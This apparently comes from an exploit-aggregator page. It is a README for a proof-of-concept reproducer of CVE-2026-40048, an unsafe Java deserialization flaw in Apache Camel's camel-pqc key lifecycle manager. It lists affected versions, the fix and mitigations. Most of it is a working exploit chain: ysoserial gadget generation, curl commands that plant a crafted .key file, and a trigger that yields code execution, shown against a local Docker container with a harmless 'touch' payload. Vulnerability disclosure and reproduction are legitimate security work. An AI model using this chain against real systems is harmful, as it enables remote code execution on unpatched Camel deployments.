Share
## https://sploitus.com/exploit?id=06D920EE-B1C5-5FA1-AB3A-DC38292448FE
# camel-pqc FileBasedKeyLifecycleManager Unsafe Deserialization Reproducer (CVE-2026-40048)

This project demonstrates a **Java deserialization vulnerability** in Apache Camel's `camel-pqc`
component, tracked as **CVE-2026-40048**. `FileBasedKeyLifecycleManager` reads `.key` files
from the configured key directory with a raw `ObjectInputStream` and no `ObjectInputFilter`, so an
attacker who can write to that directory can achieve **remote code execution**.

Advisory: https://camel.apache.org/security/CVE-2026-40048.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-pqc` |
| **Affected Class** | `org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager` (`getKey`) |
| **CWE** | CWE-502: Deserialization of Untrusted Data |
| **Impact** | Remote Code Execution (RCE) |
| **Affected Versions** | From 4.18.0 before 4.18.2, and from 4.19.0 before 4.20.0 |
| **Fixed Versions** | 4.18.2, 4.20.0 |
| **JIRA** | CAMEL-23200 |
| **Reporters** | Andrea Cosentino (ASF), Venkatraman Kumar (Securin) |

## Technical Details

`FileBasedKeyLifecycleManager` persists post-quantum keys as serialized Java objects in
`/.key`. Loading a key deserializes that file with a raw `ObjectInputStream`, and the
cast to `KeyPair` happens only **after** `readObject()` returns:

```java
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId);   // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
    KeyPair keyPair = (KeyPair) ois.readObject();   // NO ObjectInputFilter โ€” gadget runs before the cast
    ...
}
```

An attacker who can write to the key directory โ€” through path traversal, misconfigured volume
permissions, a compromised key-provisioning pipeline, or a symlink attack โ€” can plant a crafted
serialized object that executes during a normal key-lifecycle load.

## Prerequisites

- Java 17+ and Maven 3.8+ (to build the jar)
- Docker (runs the reproducer)
- ysoserial (for payload generation)

## Reproduction Steps

### Step 1: Build the jar and start the container

```bash
mvn clean package -DskipTests
docker compose up -d --build
```

### Step 2: Generate a malicious payload

```bash
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
```

### Step 3: Plant the payload as `.key`

```bash
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container
```

### Step 4: Trigger the key-lifecycle load (RCE)

```bash
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof โ€” /tmp/pwned exists: true"
```

### Step 5: Verify

```bash
docker exec cve-2026-40048 ls -la /tmp/pwned
```

### Cleanup

```bash
docker compose down
```

## Attack Vectors

`getKey()` is called during normal key-lifecycle operations (signing/verification key retrieval,
rotation checks, etc.), so any load of an attacker-planted `.key` triggers deserialization.

## Exploit Conditions

1. **Write access to the key directory** used by `FileBasedKeyLifecycleManager` (shared/misconfigured
   volume, path traversal, compromised provisioning, symlink).
2. **A gadget library on the classpath** (e.g. `commons-collections:3.2.1`).

## Related follow-on CVEs

The `ObjectInputStream`-in-key-store pattern was addressed more broadly afterwards:

- **CVE-2026-46590** โ€” the HashiCorp Vault + AWS Secrets Manager sibling managers (incomplete-remediation follow-on).
- **CVE-2026-43867** โ€” an independent report of the same AWS Secrets Manager path.

## Recommended Fix

Upgrade to 4.18.2 / 4.20.0. The fix replaces `ObjectInputStream`-based storage with standard PKCS#8
(private key) / X.509 SubjectPublicKeyInfo (public key) Base64 JSON encoding.

## Mitigation

Until upgrading:

1. **Restrict write access** to the key directory to the application's own identity.
2. **Remove gadget libraries** (upgrade/remove commons-collections 3.x).
3. Keep key material on a volume no less-trusted principal can write.

## Files

```
CVE-2026-40048/
โ”œโ”€โ”€ pom.xml
โ”œโ”€โ”€ Dockerfile
โ”œโ”€โ”€ docker-compose.yml
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ src/main/
    โ”œโ”€โ”€ java/com/example/
    โ”‚   โ”œโ”€โ”€ Application.java
    โ”‚   โ””โ”€โ”€ ExploitController.java   # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
    โ””โ”€โ”€ resources/
        โ””โ”€โ”€ application.properties
```

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly
disclosed and fixed** vulnerability. Do not use it against systems without explicit permission.